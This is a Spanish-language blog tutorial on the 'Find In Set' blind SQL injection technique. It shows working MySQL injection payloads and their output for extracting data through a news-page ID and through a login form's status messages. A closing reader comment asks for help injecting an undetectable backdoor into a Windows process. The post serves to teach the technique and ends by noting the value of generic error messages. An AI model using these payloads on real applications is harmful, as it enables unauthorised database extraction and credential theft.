sábado, 1 de septiembre de 2012

Find In Set: Casos prácticos

Find In Set, como recordarán, es una técnica de inyección SQL a ciegas (Blind SQLi) muy eficiente puesto que nos permite extraer información de la base de datos realizando menos consultas que de la forma clásica con búsqueda binaria.

Los detalles de la técnica pueden revisarlos en este post: http://alguienenlafisi.blogspot.com/2011/04/findinset-optimized-blind-mysql.html o también en la web de su autor: http://www.websec.mx/blog/ver/extraer_datos_blind_sql_inyeccion

Además pueden ver una demo en vídeo aquí: http://alguienenlafisi.blogspot.com/2012/05/findinset-bsqli-demo.html

Sin embargo, hay algo que aún no queda muy claro... ¿Cuándo es recomendable usar "Find In Set"? ¿En qué casos reales puedo aplicar esta técnica? Pues bién, en este post quiero hablar de un par de casos en los que nos vendría bien utilizar "Find In Set"

Pero antes...

Cuando NO usar "Find In Set"

Find In Set es una técnica de explotación de inyecciones SQL ciegas. Por tanto utiliza un algoritmo de inferencia de información a partir del análisis del comportamiento de la aplicación web. Entonces, cualquiera de las técnicas capaces de extraer la información directamente, es decir sin necesidad de inferirla, tales como "Union", "Error Based" o técnicas "Out of Band"; será mucho más eficiente que "Find In Set". Si es posible aplicar alguna de esas técnicas, definitivamente estas frente a un caso donde NO es recomendable usar Find In Set.

El mayor inconveniente de "Find In Set" es la necesidad de un tercer estado (comportamiento) que represente el final de la cadena binaria. El comportamiento usual para representar aquel tercer estado es ejecutar un retardo de unos cuantos segundos en la respuesta de la base de datos, lo cual disminuye considerablemente la eficiencia de esta técnica. Usar ese retardo es una opción pero definitivamente NO es recomendable pues el objetivo que se persigue es precisamente ahorrar tiempo.

En mi opinión, emplear "Find In Set" será una buena opción siempre que sea posible conseguir tres estados en una inyección SQL ciega. Veamos algunos casos...

Páginas que cambian en función a un "ID"

Este es el típico caso de una página de noticias que muestra diferentes noticias dependiendo del "ID" que recibe. Cada noticia tiene un título y texto diferente. Por ejemplo:

/news.php?id=1  -->  Título: Una noticia...
/news.php?id=2  -->  Título: Otra noticia...
/news.php?id=3  -->  Título: Y otra más...

Luego podemos tomar cada una de esas páginas como estados diferentes de la aplicación y usar Find In Set.

Quizá ahora te estés preguntando... ¿Pero no es ese el típico caso donde se usa "UNION SELECT"? Y sí, tienes razón es el mismo caso y, como ya se dijo antes, si es posible usar UNION entonces "Find In Set" esta de sobra... pero hay ocasiones (y no son pocas) en las que no es posible emplear UNION en aplicaciones como esta. Se trata de cuando la aplicación emplea el mismo ID para dos o más consultas con diferente número de campos. En tal caso, si empleásemos UNION, se produciría un error por distinto número de columnas en alguna de las consultas haciendo imposible la explotación por este método. Entonces solo nos quedaría abordar la explotación usando una técnica de inferencia. Es en esta situación cuando "Find In Set" nos puede aportar mayor eficiencia que técnicas de inferencia clásicas como "Binary Search".

Veamos un ejemplo de cómo inyectar en este caso...

mysql> select bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1)));
+----------------------------------------------------------+
| bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))) |
+----------------------------------------------------------+
| 10010                                                    |
+----------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select * from noticias where id=IF( (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),1,1))='', 3, (@x+1) );
+----+----------+-------------------------+---------+
| id | titulo   | detalle                 | autor   |
+----+----------+-------------------------+---------+
|  2 | TITULO 2 | Detalle de noticia 2... | Autor 2 |
+----+----------+-------------------------+---------+
1 row in set (0.00 sec)

mysql> select * from noticias where id=IF( (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),2,1))='', 3, (@x+1) );
+----+----------+-------------------------+---------+
| id | titulo   | detalle                 | autor   |
+----+----------+-------------------------+---------+
|  1 | TITULO 1 | Detalle de noticia 1... | Autor 1 |
+----+----------+-------------------------+---------+
1 row in set (0.00 sec)

mysql> select * from noticias where id=IF( (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),3,1))='', 3, (@x+1) );
+----+----------+-------------------------+---------+
| id | titulo   | detalle                 | autor   |
+----+----------+-------------------------+---------+
|  1 | TITULO 1 | Detalle de noticia 1... | Autor 1 |
+----+----------+-------------------------+---------+
1 row in set (0.00 sec)

mysql> select * from noticias where id=IF( (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),4,1))='', 3, (@x+1) );
+----+----------+-------------------------+---------+
| id | titulo   | detalle                 | autor   |
+----+----------+-------------------------+---------+
|  2 | TITULO 2 | Detalle de noticia 2... | Autor 2 |
+----+----------+-------------------------+---------+
1 row in set (0.00 sec)

mysql> select * from noticias where id=IF( (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),5,1))='', 3, (@x+1) );
+----+----------+-------------------------+---------+
| id | titulo   | detalle                 | autor   |
+----+----------+-------------------------+---------+
|  1 | TITULO 1 | Detalle de noticia 1... | Autor 1 |
+----+----------+-------------------------+---------+
1 row in set (0.00 sec)

mysql> select * from noticias where id=IF( (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),6,1))='', 3, (@x+1) );
+----+----------+-------------------------+---------+
| id | titulo   | detalle                 | autor   |
+----+----------+-------------------------+---------+
|  3 | TITULO 3 | Detalle de noticia 3... | Autor 3 |
+----+----------+-------------------------+---------+
1 row in set (0.00 sec)

En el ejemplo el "0" está representado por la noticia 1; el "1", por la noticia 2 y el fin de la cadena binaria por la noticia 3.

Aplicaciones con diferentes mensajes de estado

Cuando una aplicación vulnerable extrae información de la base de datos pero no la muestra directamente en el navegador, se dice que estamos frente a un caso de inyección SQL ciega (Blind SQLi). En este caso las aplicaciones realizan cierto procesamiento de los datos obtenidos y solo muestran al usuario el resultado de dicho procesamiento. Como en el caso de un login, por ejemplo. Dependiendo de la complejidad del procesamiento de los datos, será posible obtener diferentes mensajes de estado de la aplicación. En el caso del login podrían mostrarse estados como: "Usuario inexistente", "Contraseña incorrecta", "Usuario desactivado", "Bienvenido al sistema", etc. Luego, si es posible generar un mínimo de tres estados, podremos explotar el Blind SQLi con Find In Set.

Lo cierto es que generar distintos mensajes de estado en una aplicación no es tan trivial como modificar un ID en la URL y requiere de un mayor análisis de la aplicación. La idea básicamente es usar UNION SELECT para inyectar "respuestas" de la base de datos en la aplicación que generen los distintos estados y para ello será muy conveniente saber qué información esta solicitando la aplicación. Pero de eso ya hablamos en un post anterior ;)

http://alguienenlafisi.blogspot.com/2012/08/algo-mas-que-or.html

Así que me limitaré a mostrar un ejemplo de como se haría un Find In Set en este caso...

Seguiré con el ejemplo del login porque es el caso de Blind SQLi más común. Imaginemos que luego de analizar el comportamiento de la aplicación sabemos lo siguiente:

  • La aplicación solicita 2 campos a la base de datos: "user" y "pass". Uno es el nombre del usuario y el otro su contraseña.
  • Cuando la base de datos responde con un conjunto vacío, la aplicación muestra el mensaje: "Usuario inexistente".
  • Cuando la respuesta de la base de datos no es un conjunto vacío pero el campo "pass" no coincide con la contraseña enviada por el usuario, la aplicación muestra el mensaje: "Contraseña incorrecta".
  • Finalmente, cuando la respuesta no es un conjunto vacío y el campo "pass" coincide con la contraseña enviada por el usuario, la aplicación muestra el mensaje: "Bienvenido usuario".

Supondremos que en todo momento la contraseña enviada por el usuario será: "123456". Entonces las respuestas que deberíamos inyectar en la aplicación serían:

<vacío>            --->      "Usuario inexistente"
"admin", "test"    --->      "Contraseña incorrecta"
"admin", "123456"  --->      "Bienvenido usuario"

La forma de inyectar sería más o menos así:

select user,pass from usuarios where user='admin' AND (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),1,1))!=@x  UNION ALL SELECT 'admin','test' FROM (SELECT 1)T WHERE @x='1' UNION ALL SELECT 'admin','123456' FROM (SELECT 1)T WHERE @x='0' #';

La parte en gris representa la consulta original de la aplicación, todo lo demás es lo inyectado por el atacante. Lo que está resaltado en amarillo es el procedimiento usual para obtener uno a uno los bits y guardarlos en la variable @x. De paso también sirve para anular la consulta original con una contradicción (@x!=@x). La parte resaltada en verde sirve para inyectar la respuesta que hará que se muestre el mensaje "Contraseña incorrecta" y sucederá cuando el bit extraído sea "1". La parte en celeste, hará que se muestre el mensaje "Bienvenido usuario" y sucederá si el bit extraído es "0". Finalmente cuando @x sea una cadena vacía la respuesta será un conjunto vacío y se mostrará el mensaje "Usuario inexistente".

Un ejemplo de esto funcionando:

mysql> select user,pass from usuarios where user='admin' AND (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),1,1))!=@x  UNION ALL SELECT 'admin','test' FROM (SELECT 1)T WHERE @x='1' UNION ALL SELECT 'admin','123456' FROM (SELECT 1)T WHERE @x='0';
+-------+------+
| user  | pass |
+-------+------+
| admin | test |
+-------+------+
1 row in set (0.01 sec)

mysql> select user,pass from usuarios where user='admin' AND (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),2,1))!=@x  UNION ALL SELECT 'admin','test' FROM (SELECT 1)T WHERE @x='1' UNION ALL SELECT 'admin','123456' FROM (SELECT 1)T WHERE @x='0';
+-------+--------+
| user  | pass   |
+-------+--------+
| admin | 123456 |
+-------+--------+
1 row in set (0.00 sec)

mysql> select user,pass from usuarios where user='admin' AND (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),3,1))!=@x  UNION ALL SELECT 'admin','test' FROM (SELECT 1)T WHERE @x='1' UNION ALL SELECT 'admin','123456' FROM (SELECT 1)T WHERE @x='0';
+-------+--------+
| user  | pass   |
+-------+--------+
| admin | 123456 |
+-------+--------+
1 row in set (0.01 sec)

mysql> select user,pass from usuarios where user='admin' AND (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),4,1))!=@x  UNION ALL SELECT 'admin','test' FROM (SELECT 1)T WHERE @x='1' UNION ALL SELECT 'admin','123456' FROM (SELECT 1)T WHERE @x='0';
+-------+------+
| user  | pass |
+-------+------+
| admin | test |
+-------+------+
1 row in set (0.00 sec)

mysql> select user,pass from usuarios where user='admin' AND (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),5,1))!=@x  UNION ALL SELECT 'admin','test' FROM (SELECT 1)T WHERE @x='1' UNION ALL SELECT 'admin','123456' FROM (SELECT 1)T WHERE @x='0';
+-------+--------+
| user  | pass   |
+-------+--------+
| admin | 123456 |
+-------+--------+
1 row in set (0.00 sec)

mysql> select user,pass from usuarios where user='admin' AND (@x:=mid(bin(instr("abcdefghijklmnopqrstuvwxyz",mid(user(),1,1))),6,1))!=@x  UNION ALL SELECT 'admin','test' FROM (SELECT 1)T WHERE @x='1' UNION ALL SELECT 'admin','123456' FROM (SELECT 1)T WHERE @x='0';
Empty set (0.00 sec)


Quizá ahora es buen momento para recordar las razones de porqué las aplicaciones deberían mostrar mensajes de error genéricos y añadir una más.

Es todo lo que quería mostrar en este post, espero haberme dejado entender y nada... hasta la próxima.

Saludos.

1 comentario:

  1. hola , tienes algun codigo hecho en c++ que se inyecte en otro proceso , la verdad que he visto varios videos como dejar mi backdoor totalmente fud0/42 en c++ copiando el payload y todo eso , pero mi problema es que no quiero usar migrate , yo no se mucho programacion suena algo lammer pero necesito que me ayudes , eso es todo , para copiarlo , y asi que cuando lo ejecute se inyecte en windows/system32/syshost ya sabes espero que me ayudes hermano eso es todo , ya que con eso ya facilmente la victima no sospecharia nada de mi , y yo no usaria migrate entiendes

    ResponderEliminar